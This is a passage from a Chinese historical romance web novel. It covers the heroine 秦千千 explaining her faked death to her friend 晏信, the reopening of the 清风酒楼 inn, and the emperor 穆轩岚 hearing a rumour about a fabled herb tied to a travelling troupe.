他和千千相处几个月下来，知道她是个重情重义的人。不会无缘无故撇下几位朋友，让他们在痛苦中煎熬，却只是为了看他们笑话的。
晏信的态度，秦千千也看懂了，哪怕自己不解释，晏信也已经将此事完全翻篇了。
可她要解释。
“不，当年的事我要跟你说清楚，”秦千千有些不安地瞳孔微颤，稍稍平复情绪后才继续说：“其实在给桃花和王老怪的信中，我给这两个急性子解释了一切，毕竟这两个人没有耐心，根本等不了那么久。”
可晏信不同，他早已不再看重当年那些事情的真相，以及自己为何身不由己。那些孤独守望的岁月，让他坦然接受了一切，这是秦千千最不愿意看到的。
她宁愿晏信咄咄逼人的过来质问自己，也
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不要他如现在这般，被磨平所有棱角。这也是，她选择当面跟晏信解释的原因。
“当初先帝祈求成仙，便把主意打到我主人身上，轩岚为了那个计划故意接近我，为的就是想见主人一面。”秦千千低垂眼眸，神态十分无奈。
若是重回当年，她还会坚持这个决定。因为除此之外，她找不到其他破局之法。
眼下不是给她沉浸在过去的时候，她再度抬眸时，眼神中已满是清醒。她神态放松，继续说道。
“后面的事情你也知道了，我若是不死的话，那死的将是清风酒楼以及我们数不清的线人。”
事到如今，晏信终于懂了当年所有的事情。也明白了，她们当年在巡商过程中，秦千千闲下来时，为何眼神中偶尔会流露出一丝悲伤。
那是面对死局的无可奈何吧。
他之所以没有跟穆轩岚势不两立，仅仅是因为当年他便听说，皇帝屠戮清风酒楼，其实是背着穆轩岚做的。
而且他们同行那么久，晏信自然看得明白，穆轩岚怎么会忍心伤害秦千千呢？
时也命也，在这个悲剧中，穆轩岚也不是什么无辜之人，因此这些年穆轩岚的孤独寂寥，在晏信看来，也算是对他的惩罚。
解释清楚了所有的事情，秦千千也有话想问晏信。
“所以你当时，到底有没有收到我的暗示？”她的神色终于放松下来，继而相当好奇的问道。
晏信长叹一口气，吐出这些年压抑在心头的幽怨。之前的他不敢相信自己的发现，也从未讲这一发现告诉任何人。
直到前几日收到她的消息后，晏信才敢在心里实锤了当年自己的猜测。
带着秦千千的尸身奔赴璃光海时，晏信悲愤过度，再加上舟车劳顿，中途病倒了几天。唯一能劝住他的秦千千已然不在，随行的人更是劝不动他，他执意赶路，决口不提休息。
晏信没日没夜的陪在那尸首边，有一日他实在扛不住沉沉睡去，却由于马车的突然颠簸，意外惊醒。意识恍惚间，晏信的目光落在了她手腕的玉镯上。
那是自己仓皇之下为她买的礼物，不是特别贵重，但胜在是自己的心意。
也就是那时他才发现，眼前的玉镯与记忆中的有些出入。
他当初买的那个手镯通体翠绿，毫无瑕疵，可眼前那个手镯内里处，却有两块芝麻大的黑点。
晏信反复确认这点后，心中便隐隐有个猜测，这或许是千千留给他的线索……
“收到了，但我不敢相信。”晏信垂眸打量着千千的手腕，望着那盈绿的玉镯本尊，他的嘴角微微上扬。“是你留的消息太隐晦了，我根本看不懂。”
不管晏信想不想听自己解释，秦千千都决定要把实话说出来，而这话她今晚也会转告给穆轩岚。
“晏信，我不想欠你太多，也不想伤你太深，所以给你留的这条线索，”秦千千往上缕了下衣袖，看着那玉镯继续说：“是我唯一没有按计划进行的部分。”
感情之事，她无法回应晏信，便只能冒着暴露的风险，试图让他不要那么难过。
176. 重开清风酒楼
晏信无法形容他听到这句话时的震撼，他清楚能做千千这种心思缜密之人的意料之外，对自己来说就是莫大的夸赞。
可欣喜也没有盖过理智，他能从话中听出来，她这么特别地对自己，完全是出于歉疚，没有半点男女情爱。
当初巡商路上的自己，敢爱敢恨，喜欢千千便直接追着她不放，可经过这几年晏信看明白了很多。
就拿穆轩岚来说，当初晏信不了解他为什么会让自己带走千千，换位思考一下，他绝对不允许这种事情发生。
当时的穆轩岚虽然万念俱灰，哀莫大于心死，可最终他还是选择了放手。
还差三个月，当年的那场变故就已过去六年了。可直到此时此刻，晏信才弄懂穆轩岚当时的想法。
爱不该是占有，而是尊重。是哪怕自己承受着剜心痛楚，也要给所爱之人尊重。
那时的穆轩岚一定觉得亏欠她，这才放手，让自己带走了千千。
就像现在，晏信觉得只要能看着千千幸福圆满，平安存活于世，他也愿意放手。
怪不得千千会喜欢上穆轩岚，这个家伙在六年前就领悟到了自己未曾领悟到的事情。晏信心中有些无奈地想着。
而秦千千对自己开诚布公的态度，也让晏信察觉到了一些事情。
两个相爱之人，她们之间的恩怨是纠缠不清的，就比如穆轩岚和秦千千。她们两个肯定也无法考究恩怨因谁而起，后来的惨剧又是为何？
种种事情互为因果，名为恩怨的那条线，把两个人紧紧缠绕在一起。晏信想，或许可以叫它姻缘线。
是啊，自己早该察觉到，自己从未与千千纠缠不清。她们二人之间，向来是恩怨分明，换句话说就是清清白白。
“一切都过去了，只要你好，什么都可以的。”彻底顿悟的晏信释然地说道。
前尘往事一一浮现在他心头，晏信想起自己初见千千时，抛下所有远大志向，死乞白赖地跟着她。
后来与他经历了种种，终于跟她成了朋友。
再后来，茅安镇的那场大婚、那个夜晚，将是他珍视一生的珍贵回忆。
“当初那场大婚，就是你专门补偿我的吧。”他后知后觉，眼神中满是惊诧。
秦千千只淡然一笑。她想，晏信能察觉到这点，那也就是说，他应该彻底看透两个人的关系了。
“当时劝你的话才是重点，你不该跟我们浪迹江湖，埋没了你的才学。”她说的认真，“更何况，你爹出了重金派人抓你回去，你应该不介意我拿了那笔赏银吧？”
晏信被突如其来的转折逗得哈哈大笑，不管千千怎么说，她的确没有否认自己的猜测。
况且，秦老板向来潇洒肆意，行事作风都是以她自己的喜好为主。他爹就算拿出黄金万两，让秦千千做她不喜欢做的事情，晏信想她也会拒绝的。
只不过为了进一步证实这个想法，晏信又得寸进尺地追问。
“这么说的话，我这些年攒下的积蓄，可以继续收买你做我娘子喽？”
面对着赤裸裸的试探，秦千千知道自己不如实相告的话，今天这话题肯定是没完了。
“好吧，我承认主要是为了补偿你，顺带拿了你爹一点钱而已。”
面对晏信仍然紧盯自己的眼神，秦千千只能将当时的情况跟他道明。
“当初，你爹在清风酒楼想找我时，花了五两纹银，买了店中最好的茶水，这五两就是我刚刚说的那一点钱。”
得知全部真相后，晏信快速眨眨眼睛，他有些无措地低垂眉眼，鼻尖有些泛酸。
这些话，让他的心里软的一塌糊涂。
都说清风酒楼的秦老板唯利是图，可又有谁在乎，她是对朋友如此真心的人呢？
面对这样的她，自己又怎能不倾心她呢？
“千千，与你结识是三生有幸，缠着你不放，是我做过最正确的事情。”晏信眼眶湿润地看着秦千千。
她也不再扭捏，朝张开双臂，跟他抱在一起，轻拍他的后背安抚他。
“我也何其有幸，遇到一群被我蹉跎这么久，还不怪我的朋友啊。”
那个拥抱，不涉及任何情念，却抚平了晏信心中的诸多不平之事。
自此以后，他会藏起对千千一往情深的事实。单纯作为一个朋友陪在她身边。只有那样，自己才能时常见到她。
秦千千送他回房后，为他盖好锦被，便起身离开。
晏信今晚其实并未喝多少酒，可脑中晕晕乎乎的感觉比往常借酒消愁时更甚，没一会儿，他便睡了近几年最安稳的一觉。
匆匆赶回殿中的秦千千，看着屋中烛火已熄灭，便以为穆轩岚已经睡下了。她便悄悄走到梳妆台前，悄无声息地卸掉头上的珠钗，腰际的环佩。
就在她轻手轻脚，尽量不发出声音的时候，穆轩岚突然从背后抱住了她。他把自己的下巴抵在千千颈侧，语气稍有不满地质问她。
“尽快？马上天就要亮了。”穆轩岚一手环着她的腰，一手帮她拆头上的名贵饰品。
秦千千现在哄他的功力，已经是炉火纯青了，她赶忙安抚性的拍拍环在自己腰间的手。
“你要早些休息，明日还要上早朝呢。要不然，又要有大臣上本子参你沉迷享乐，参你府中那祸国妖妃不懂礼数了。”
听到这话，穆轩岚忍不住笑出声。每每提起这事，他和千千就都要笑弯了腰。
上这本折子的大臣甚至没敢署名，毕竟，拿着捕风捉影的事情参皇帝，还是向来杀伐果决、说一不二的皇帝，署了名就等于把九族别在自己的乌纱帽上耍着玩。
收到这封奏折时，穆轩岚正好在府中处理公务，他便把折子放在一边，让人找千千过来。
把穆轩岚这个平时不苟言笑的人都看笑了的折子，落在秦千千手里，更是把她笑得直不起腰来。
穆轩岚的确缺过几次早朝，秦千千觉得自己有一部分责任，但也完全称不上是什么祸国妖妃。
那几日，他需要处理的政务太多，但秦千千可不管那些，她为
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了给穆轩岚调养身体，直接让元德把奏折都搬回府。还与穆轩岚早就约法三章，一日三餐的时间绝对不能拖延。
就是这样，那几日穆轩岚总是批改奏折到深夜，秦千千当然会陪着他。在察觉他第二日事务不那么紧急时，秦千千便会跟他商议，翌日干脆不去早朝。
就是这样，秦千千突然多了个祸国妖妃的称号……
对于诋毁千千的行为，穆轩岚肯定是不能忍的。可他的眼神落在最后那个“妃”字上，这让他的心思微动，但最终还是没有跟千千说什么。
思绪回到现在，每每提及此事，秦千千都要义正言辞地声讨当时的那位大臣。
“那老头真是糊涂，居然给我扣了这么大个黑锅！”她笑着说道。穆轩岚知道她没有在生气，便也只是跟着笑。
“时间不早了，还是早些睡觉吧。”穆轩岚动手帮她解腰带。
反正，她和穆轩岚日后相伴的日子还长着呢，秦千千并没有急于今夜就要把事情给他说清楚。于是两个人相拥而眠，直到天光大亮。
回京两年多，秦千千早就适应了清晨的小鸟啁鸣。往日她听到鸟鸣后，还会再睡一个时辰，可今日的她却在听到声音后，立马坐了起来。
穆轩岚已早已不在身旁，她知道肯定是去上早朝去了。
让秦千千激动的，其实是穆轩岚已经答应她，可以重开清风酒楼了。
今天也是她入京这么长时间以来，第一次回清风酒楼。
往常不是穆轩岚不让她去，而是秦千千自己决定先不踏足那里的。怎么说也是她干了一辈子的营生，秦千千担心自己看了一眼之后，便满心满眼都是如何规划清风酒楼，有可能会无意间惰待穆轩岚。
现如今终于得了特赦，再加上桃花花她们也归来，那今日几人便有了事干——去清风酒楼故地重游。
“有一说一，这还是我第一次去清风酒楼，不知道能不能从现如今的样貌中，窥探到清风酒楼的往日辉煌啊？”晏信很是期待，这话听得一旁的桃花花更是骄傲。
“那也是可惜，当初酒楼可是一片辉煌！不过没事，以后一定还能更加昌盛的。”桃花花笃定地说，秦千千赞成的连连点头。
之前的清风酒楼是主人一手操办的，从一个小小的客栈经营到囊括天下的辉煌，这事迹让秦千千仰慕不已。
阴差阳错之下，她有了重建清风酒楼的机遇，这让秦千千踌躇满志。
再加上当初的清风酒楼，甚至与朝纲是对立的状态，可现在的秦千千，背后有皇帝做靠山，这生意想做不起来都难。
当初清风酒楼里的伙计，秦千千全都秘密遣散了，现在也只需要通知她们回来就好了。
几人没有乘坐马车，就那么走着去了清风酒楼。
虽然在路上想过，清风酒楼可能在穆轩岚的照应下，与当初自己离开时没什么变化。可真当走到那恢宏壮阔又原封不动的楼前时，秦千千还是不由得长出一口气。
她回来了，一切终于慢慢拨乱反正了。
177. 姜千秋的部分过往
穆轩岚早就撤去了清风酒楼明面上的守卫，他知道今天千千会带着人去清风酒楼。他不想让她知道，至少不想让她亲眼看到，自己在清风酒楼布控的到底有多严苛。
秦千千毫无阻碍地推开大门，那一晚上残忍的屠戮痕迹全都消失不见了。若不是当时秦千千在场，她真的会以为，那夜的惨状只是自己当初的黄粱一梦。
故地重游的秦千千没空为他们介绍这里，她罕见地沉默下来，从门口踱步进去，在一楼的厅中来回徘徊。
门窗、柜台、桌椅板凳，当初被烧毁的、被砍坏的、被砸烂的东西，全都换成与原本相似的制式放在那里。这让秦千千心中更是一软。
看来，穆轩岚在这里花了不少心思，可这些他从未告诉过自己。
桃花花激动的几乎要尖叫出声，她兴奋地高声感叹：“不是吧？这怎么跟我当初离开时差不多呢！”
她兴奋地在屋里走来跑去，与一直安静徘徊的秦千千形成鲜明的对比，王老怪也伸手擦了一下身边的柜台。
“一点灰尘都没有，咱们皇帝陛下还是挺上心这里的。”
晏信震惊之余满意地点头，虽说他不是清风酒楼的一份子，可现在看到穆轩岚对秦千千越发的好，他就是越满意和放心。
早在当年自己要找清风酒楼的秦老板时，晏信就有听说过关于清风酒楼的事情。
有人说这是天下第一的酒楼，不管是规模，还是那招牌的酒，以及其中无所不有的情报，都让去过那里的人赞不绝口。
当初的晏信是纨绔子弟，不说见过全天下所有的稀奇事，但繁华境况他还是见过不少的。因此对这种夸大的说辞，非常嗤之以鼻。
在繁华迷人眼的京都，最繁华的街道上拥有一个，占地面积如此之大的酒楼，的确第一眼就让晏信震惊住了。
更别说这里只有她们四人，显得这里更开阔空旷了。
往日辉煌，可见一斑。
他又想起千千曾经说过，清风酒楼全都是她主人一手操办的。
“阁主还真是一个奇人，她是怎么在没有朝廷支持的情况下，把酒楼经营到这个规模的？”晏信不禁感叹。
在做生意的事情上，他还是很敏感的。
可惜这个问题王老怪回答不了，他对清风酒楼知道的也不多。当初他认识姜千秋时，清风酒楼已经是名满天下了。
两个人一同上前去问千千，反正故地重游，她应该不介意讲一讲她主人的事情。听了他们的疑惑，秦千千的确十分乐意。
“只不过很多事情我也是听说，主人的曾经只有她自己知道。清风酒楼里的人来来往往，就拿我们这次重新开张来说，说不准打算离开的人也有半数。”
秦千千在最近的桌边坐下，开始回忆往昔。
人来人往中，最初陪阁主做意的那批人，早就杳无音信了。秦千千也是从只言片语中得知，主人最初开的只是一家小客栈。
那时的姜千秋好像受了很重的伤，需要疗养很长一段时间。而她那段的处境好像又很危险。与其住在别的客栈中担惊受怕，姜千秋便想不如自己办一个客栈。
要说有些人真的是奇才，她想办，还真给她办起来了。
“记得我之前夸你有经商天赋吗？”秦千千看向晏信，后者点头。
晏信把这归咎于自己爹对自己的谆谆教诲，以及从小耳濡目染的熏陶。因此在璃光海的生意，他很快便做得风生水起，这可能就是所谓的经商天赋吧。
卖完关子，秦千千继续说道：“其实我主人的才是真正的天才，只不过她太低调，很多事情别人都不知道。”
看着眼前也没有外人，秦千千便炫耀似的跟他们谈起主人，也让王老怪、桃花花和晏信，对姜千秋这个天纵奇才，有了更深刻的认识。
姜千秋过目不忘，而且参悟能力极强，再加上她又很喜欢看书，年少时从书中获取的知识，便浩瀚如海。
“我不学武功所以不清楚，但主人能看着书中的功法招式，参透武功，不出半月便能学会整本，你们说这是不是很有天赋？”
秦千千双手抵住下巴感叹，眼中的敬佩之意更是快要溢出来了。
王老怪倒是第一次听说这种事情，惊讶的小声抽气，阁主可真是恐怖如斯，她怎么什么都会？
现场中唯一会武功的晏信，已经从这些话中，了解到姜千秋是什么样的人了：她简直就是纵览古今都少有的全才。
若她本人真如千千所说的这般，那晏信也能理解姜千秋为什么，深入浅出，简直是来无影去无踪的了。
有如此悟性之人，肯定将身外之物看的很淡，功名利禄对她来说应该都是过眼云烟。而且晏信没记错的话，千千说过姜千秋很小，便开始闯荡江湖了。
“这种人我只在书上看到过，没成想竟真有这种人！”晏信连连感叹，“难不成在她武功独步天下后，才开始在江湖闯荡？还是说阁主是一边闯荡江湖，一边学习武功的？”
晏信对姜千秋的成长过往，产生了强烈的好奇心。
他心想，怪不得千千那么崇拜她主人，那么大个传奇站在自己眼前，谁都很难，不对她盲目崇拜吧？
秦千千最喜欢听别人夸主人，仅次于她喜欢听别人夸自己。
“主人当初觉得学无可学之后，决定去江湖走走的。”
几年时光足够姜千秋行遍江湖，看尽人世冷暖，恩仇善恶。作为心中有大义的绝世高手，姜千秋自然萌生出要匡扶正义的念头。
哪怕姜千秋从未承认过此事，但秦千千笃信，姜千秋的那次受伤绝非偶然，几十个悍匪往常不够她杀，结果那次竟然让姜千秋因病休养了两年。
秦千千觉得真实原因是，阁主已然参透了一切，光靠她一己之力是杀不完恶人的，她需要的是匡扶更多正义的人。
“如若不是出于这个缘由，我想不明白，她为什么在重病时期还要日以继夜地为客栈操劳。在此之前，她可是个纵情山水，席地盖天之人。”
现在回想起来，秦千千还是很想跟着主人一起闯荡江湖。
光听她说着独自一人，踏遍山河湖海，在各个人迹罕至的绝景中看日升月落、春
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去秋来的事情时，秦千千就十分向往。
也只有秦千千知道，清风酒楼的清风二字，便是主人在万籁俱寂的旷野中，最喜欢的东西。
清风簌簌，解百苦，消万愁。
这也是为何秦千千甘愿为主人留守京都，十几年来从未离开过这里，秦千千想没有人会拒绝为她这么做。
姜千秋本就是自由之人，比起经营琐碎的生意，秦千千宁愿牺牲自己，以求主人能够继续做她想做的事情。
不过，秦千千可没有把自己的这些心里话说出来，他们知道的越多，便会想了解的越多，这违背了主人叮嘱自己的禁忌。
“受教了。”王老怪连连点头，对姜千秋的敬意更上一层。
“当初我被她搭救后，只以为她是匡扶正义的侠士。后来到了这清风酒楼，便以为她是一个心怀正义走江湖的老板，没想到，阁主办的竟然都是大事。”
王老怪的话匣子也彻底被打开，他开始说个不停。秦千千面带笑意地听着，她喜欢听别人与主人的故事。
虽说她是这世间最熟悉姜千秋的人，可能不代表姜千秋会把所有的事情都告诉秦千千，这不知道的一部分，便是秦千千最好奇的。
王老怪也在她的追问之下，说了他和姜千秋曾经结识的故事。听得秦千千啧啧称奇，她完全没想到现在随遇而安的王老怪，原来之前有那种经历。
晏信也目光深沉地看向王老怪，他就知道性格怪异之人一定有不为人知的过往。王老怪的过去，无疑再次印证了这个想法。
“好在一切都过去了，你现在可是神医。”晏信本想等秦千千先开口，安慰王老怪，结果见她迟迟不开口，只能自己先说了。
王老怪摆手表示这没什么的时候，秦千千这才捏着下巴看向王老怪。
“所以，主人化腐朽为神奇的能力真的很强啊，你看看王老怪和我，我们都脱胎换骨了呢。”
王老怪被气得冷哼，夸姜千秋他是没有怨言的，可他总觉得秦千千的这话听起来很奇怪。
“还好你没有加上我。”桑风雪大摇大摆从门口走进来，能看出来她周身都是匆忙赶路的风尘仆仆，可脸上更多的是遮不住的喜悦。
桃花花兴奋地跳起来，众人也都激动的起身去迎桑风雪。
秦千千昨夜听穆轩岚说过，桑风雪在外地有事就先不过来了，因此现在的她十分惊讶。
“我还以为……”秦千千话说到一半，就看到门口又有人进来。
“昨夜是我故意骗你的。”穆轩岚处理完宫中的事物以后就匆忙赶来，恰巧撞上桑风雪也刚刚到门口。“既然人都到齐，那就回府中吃个饭吧。”
秦千千拍了拍桑风雪的手臂，就想朝穆轩岚走去，生怕他会觉得自己冷落了他。穆轩岚看懂了她的心意，便先一步走到她身边，听大家叽叽喳喳的寒暄。
后来在秦千千的提议下，她们提前打道回府，谁知穆轩岚却不跟她们一起回去。
“你还有事情没办完吗？”秦千千问他，他轻轻点头。“有个人回来了，我得去迎接他一下。”
178. 期盼六年的奇闻戏班
当初晏信带走那具尸身后，穆轩岚从小到大的挚友牧九明，没多久也离京去江湖历练了。不过也没有别的原因，而是他们那个道派的规定。
只不过当初离京前，牧九明看着自己的好兄弟那么黯然神伤，便允诺过穆轩岚，自己游历四方时也会格外关注江湖传言。一旦察觉到什么，便会立马返京告诉他。
一别六年，两个人再没有联系。
昨晚穆轩岚收到了两个消息：一个是桑风雪回京，另一个是牧九明也要回来了。
秦千千听说他要去接人，便十分好奇地问他是谁，什么人用得着他亲自迎接？
见她这么疑惑，穆轩岚才想起，千千跟牧九明完全没有打过交道。
“是我打小认识的一个道士，他外出游历一直没回来，所以我也就没跟你说过他。”穆轩岚扶着秦千千上马车，“接了他我就立马回去。”
站在原地目送秦千千她们离开后，穆轩岚这才骑上高头大马往城门赶去。
今日的他身着银缎长袍，站在人群中甚是显眼。牧九明还没进城门便看到了，人群中身姿挺拔又春风满面的穆轩岚。
牧九明赶忙快跑几步，差点把背后的行囊都给颠掉了，他用手重新扽了下行囊。
眼前的皇帝可真接地气，先帝几乎连皇宫都不出，穆轩岚就这么大摇大摆的站在城门口？牧九明真是受宠若惊。
“你就这么大摇大摆的站在城门口，我的陛下呀！”牧九明压低声音跟他说着。
要说循规蹈矩，穆轩岚觉得自己还是比不过牧九明的。他无所谓的耸了下肩膀，“你风尘仆仆的归来，我不得亲自为你接风洗尘吗？”
牧九明深吸一口气，一脸惶恐的摇头。储君说这话他倒可以坦然接受，可眼前的人可是南梁朝的皇帝，牧九明觉得自己可受不起。
“你别折煞我了，我这次提前回京，是有要事跟你汇报的。”
穆轩岚为牧九明备好了马车，结果牧九明却不愿意跟他回府，而是提议先去他那里。至于那需要汇报的事情，不到牧九明的道观，他一个字也不愿意说。
看着他的神态不对，穆轩岚只能搁置回府的计划，让元德回去通知千千，自己则是跟牧九明回去。
原本他要在外面历练八年，可得知那个事情后，牧九明纠结了很久，左思右想后，他还是决定结束历练，回京把此事告知穆轩岚。
虽然仙帝的长生计划已经彻底失败，有关云岫山的传闻也被姜千秋证实为假。围绕这两件事掀起的波澜，早已平息。
但牧九明听到的那个事情，或许能颠覆现在的一切。
可造化弄人，就在昨夜牧九明跟暗卫碰头时，他才得知秦千千已经回京。不用暗卫多解释，牧九明也想得到，失而复得的穆轩岚只会对秦千千百倍千倍的好。
这又让他开始纠结，自己究竟要不要说出那个事情。
直到与穆轩岚相对而坐时，牧九明心中还是在犹豫，穆轩岚也不逼他，只是面色平静地看着他。
在连喝两杯茶水后，穆轩岚实在不愿意跟他就这么干坐着，他张嘴想说什么，牧九明抢先一步。
“听说秦千千回京了？”牧九明终于开口。
可这个话题，让穆轩岚心中有些发紧，难不成他纠结的事情跟千千有关？
穆轩岚无声点头，静待牧九明继续往下说，而牧九明也终于下定了决心。
“我游历时听到一个事情，或许能证明云岫山真的存在……”牧九明一边说，一边打量他的表情。看到穆轩岚微微皱起眉头，牧九明便噤了声。
穆轩岚这下才知道，她为什么先开口问千千了。
若牧九明所说之事为真的话，那就证明，要么千千跟自己一样被姜千秋蒙在鼓里；要么，千千还是在骗自己。
不，她不会的。
那念头只闪过一瞬，穆轩岚便打消了对千千的怀疑。
这些年她对自己如何？自己再清楚不过。为了安抚自己的焦躁不安，千千甘愿在府中闭门不出，自己怎能因为一个捕风捉影的事情就怀疑她？
“谈何说起。”穆轩岚稳定心神后问他。
穆轩岚其实觉得也无所谓了，反正云岫山只是父皇的执念，他现在已然仙去，穆轩岚无意于此事的真假。
牧九明这才讲起那晚的事情。
十天前，他如往常一样在一位农夫家借宿，夜半听到院中有人小声交谈。他便透过窗户看到了两个布衣之人，在跟那位农夫谈买卖。
本身没有什么奇怪的，但听到他们商谈的价格时，牧九明心里却咯噔一下。
什么样的草药，四株便值一百两？这引起了牧九明的兴趣，他就支着耳朵开始偷听。
“那农夫理直气壮地说，那是只生长在云岫山的仙草。”牧九明吞了下口水，紧张兮兮地看着穆轩岚。
穆轩岚的眼神越发幽暗，向来稳定的呼吸也有些加快。
“月光下我看得清楚，那四株草如夜明珠般发着微弱的光，只不过那不是白光，而是莹莹红光。”牧九明回忆起当时的情形，至今还觉得很不可思议。“那种草，我从未见过。”
牧九明的道派也会用各种奇珍异宝炼丹，他都没见过的东西，一定是稀奇的不能再稀奇了。
穆轩岚眉头微蹙，问他知不知道那两个人是谁？
牧九明这才神秘兮兮地把手拢在嘴边，这也是他急着赶回京都的原因：“那两个人买走东西后，我听农夫喃喃自语的时候提到，他们是奇闻戏班的人。”
三年进一次京都的奇闻戏班，还有两个多月就要再度进京。牧九明知道机不可失，便只能立马赶回京都，把此事告知穆轩岚。
听到奇闻戏班，穆轩岚的表情一下子凝重起来。
奇闻戏班，还是他从千千嘴里听到的，而且听千千的意思，奇闻戏班的本事的确很大。
难不成所谓的云岫山真的存在？又或者说，世界上还真有姜千秋不知道的事情？
看着他面色深沉，牧九明也不敢打扰他思考，他只能如往常一般安静地坐在旁边。察觉到他再度抬眼看自己时，牧九明这才幽幽开口。
“怎么样？过段时间要去奇闻戏班看看吗？”
“我本来就是要去的。”穆轩岚本就与秦千千有约在先。
穆轩岚再
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度邀请他去自己府上，却被牧九明又一次婉拒。牧九明送他到门口，在分别前夕，牧九明叫住了他。
“你能不能，暂时不要把这个事情告诉她？”
这句话一出，穆轩岚便知道他意欲何为——他还是信不过千千。
他有些不解的反问牧九明：“难不成你也为云岫山入了魔？”
牧九明脸上泛起一丝苦笑，他们修道之人，归根结底还是信这些的。而那可是传说中的仙山，各种修道之人向往一生的地方。
在一切未证实之前，他只能认为知道此事的人越少越好。而秦千千在他的心中是一个危险人物，直白来讲，牧九明就是不想让她知道。
牧九明良久的沉默，算是回答了穆轩岚所有的问题。
自己当初既然劝不了先帝追逐长生之事，那就更劝不了自小修道的牧九明。不过看在两人一同长大的份上，穆轩岚还是答应了他的请求。
“好吧，我答应你。”
穆轩岚回府时，秦千千就察觉到他的状态不对，看起来有些疲惫，问他怎么了，穆轩岚只说昨夜没睡好。
就这样，这件事成了他和千千重逢后，第一个瞒着她的事情。
接下来的秦千千忙的不行，再度重逢的老友们，也没有一个能闲下来的，所有人都在为清风酒楼的重新开张而忙碌着。
半个月后，沉寂了快六年的清风酒楼，终于又开门迎客了。
只不过开业当天，秦千千却不在店中，她把清风酒楼托付给桃花花和桑风雪她们，自己则是在府中修养。
没错，接连数日的忙碌，直接把她给累倒了。她接连高烧数日，每日都昏昏沉沉的度过。穆轩岚也是担心的不行，他除了上朝，其余时间都在府中陪着她。
好不容易看她清醒了一会儿，穆轩岚便跟她讲着外面发生的事情。
“元德听桃花感叹，许多老顾客都去光顾生意，还问起你的近况呢。”若不是王老怪，叮嘱他尽量让千千保持清醒，穆轩岚实在不忍心非要拉着她闲聊的。
秦千千兴致缺缺地点头，已经四五日了，她几乎都坐不住，现在也是浑身无力的倚在穆轩岚怀中。
穆轩岚脸颊抵着秦千千的额头，察觉额头不再发烫后，这才稍稍安心。
“你可要快些好起来，我听说奇闻戏班此次提前入京，估计就在这两天了。”他轻声跟千千说着。
这个消息，还是牧九明告诉他的。现在的牧九明，为了此事，几乎是夜不能寐。穆轩岚很想劝他，不要对此事抱有过高的期待，但话到嘴边还是没有说出口。
他现在的癫狂状态，与先帝如出一辙……为此，穆轩岚甚至有点不太想见牧九明了。
听了这话，秦千千才来了点兴趣。她强打起精神，抬头看着穆轩岚。
“是出现什么变故了吗？他们往常是一天都不会提前的。”
那时的穆轩岚，还不知道问题的答案，可晚上牧九明的密函，便为他解答了千千的疑惑。
卖仙草的那个农夫死了。
牧九明确信，那是有人在杀人灭口。奇闻戏班提前进京，或许也是在躲避仇家的追捕。
179. 牧九明的真实动机
最近涉及到奇闻戏班的事情，牧九明都有些反应过度。眼下这更是捕风捉影的猜测，穆轩岚也只能由他去了。
昨日告诉千千，奇闻戏班要入京时，穆轩岚完全没有想过，千千身体的情况会每况愈下。
这一日甚至还不如前一日，她甚至连坐起来的精神都没有。王老怪只说他内里虚亏，各种药材和补品都没有断过。
再加上清风酒楼近期忙，桑风雪、云彩、冬芸三人基本上都在店中忙上忙下，很少回来陪秦千千。
也就身为经商老手的晏信，时不时还跑回来给秦千千送些东西。
之前怎么看晏信都不顺眼，现在穆轩岚却不那么想了。
近几日他朝廷事务繁忙，很多事情不能单单在府上处理，把千千独自放在府中，穆轩岚又不是很放心。
于是，看到晏信回去帮千千解闷时，他的心中只有感激，没有别的不开心。
秦千千这一觉醒来已是下午，清醒后看见坐在自己床边的是晏信，秦千千也没有很奇怪。
“近几日你醒的是越来越晚了，晚上还是睡不着吗？”晏信轻声问着她。
秦千千用力眨了眨眼，试图找回一些清醒的感觉。她怔怔的反应了一会儿，才点头。朝晏信伸出手，由着他把自己拉起来。
“酒楼近些日子的生意还可以吗？”她的语气相当无力，每每听到都让晏信心中泛起不安。
“好的很，桃花还在说如果你去了，数银票都得数到手抽筋。”晏信先挑好的事情跟秦千千说。
此时本不该让她操劳什么的，可有些事情，桃花花做不了主。
“就是清风酒的供应，好像出了些问题。桃花说现在非常供不应求，让我问问你，有没有可能通知那边多送来一些呢？”
秦千千摇了摇头，她掀开被子从床上起来，想去院中走走。侍女连忙拿来披风，晏信赶忙接过给千千披上。
他知道自己劝不了千千，与其让她一直躺着，还真不如带她去外面走走。
“桃花还是年轻了，那些清风酒，已经是能给我们送的最多了。这种东西急也没用，你回去跟她说以前照常便好，有多少就卖多少，多是不可能再多了。”
两人一起行至屋外，晏信总会给她说一些外面的稀奇事，现在不免说起京都过几日的庙会和鼎鼎大名的奇闻戏班。
谁知道提起这个，秦千千突然唉声叹气。晏信还以为自己哪里说错了，赶忙跟她道歉时，却被秦千千笑着安慰。
“此事与你无关，我就是很想去那个奇闻戏班看看，看看这三年他们搜罗了什么新鲜东西。可惜近几天能出寝殿门，我就已经是谢天谢地了。”秦千千仰头看着暮色沉沉的天，有些怅然若失地叹了口气。
晏信看不得她如此沮丧，便拍拍胸脯跟她保证：若是那天她真的不能去的话，那自己便去为她拍下所有的稀奇物品。
“不不不，我往常去也没有买过东西，只是凑热闹罢了。你到时把那里的热闹讲给我听就好。”
在宫中的穆轩岚，刚刚接见了驻守边疆很久的袁毅将军，跟他商讨边疆如今的近况，其中最需要关注的，便是吉武国。
当初去风陵找千千时，穆轩岚见到过魏凌鸣，从那短短的几次会面中，穆轩岚知道，这人绝非善茬。
他接过吉武国国中事务之后，还是没有放弃他当初的国土扩张计划。虽然并未有什么明面上的动作，可袁毅经验老道，他确信吉武国在举全国之力，厉兵秣马，两国之间恐有交战。
“不自量力，继续静待消息便是。”穆轩岚杀心重，但他也清楚，战争是两个国家的事情。大动干戈，对哪个国家都不好。
可若魏凌鸣真不自量力，想要过来比划比划，袁毅是不会怕他的。这也是当初，穆轩岚把袁毅调去那里驻守边关的原因。
正事汇报的差不多了，袁毅就动了别的心思。其实袁毅此次回来，也并不是真的问穆轩岚接下来的计划的。
战场上的事情他心中自有定夺，再说若真发生突发状况，那将在外君命有所不受，这是袁毅一贯的作风。
他此次回来，只是想跟自己的老友叙叙旧。
“听说，那个秦老板当时是假死？我本来在边关接到消息，以为你终于走出了当年的事情了，没成想竟然是她回来了。”
此事太过意外，以至于让袁毅一个年过四十之人，也按捺不住激动的心情，当即决定从边关跑了回来，只是为了跟他聊这件事情。
穆轩岚知道他此行回来的意思，便嘴角噙笑地点头，他在此事上向来不隐藏自己的心情。而且面对自己的忘年交，穆轩岚也全然放下了心中的戒备。
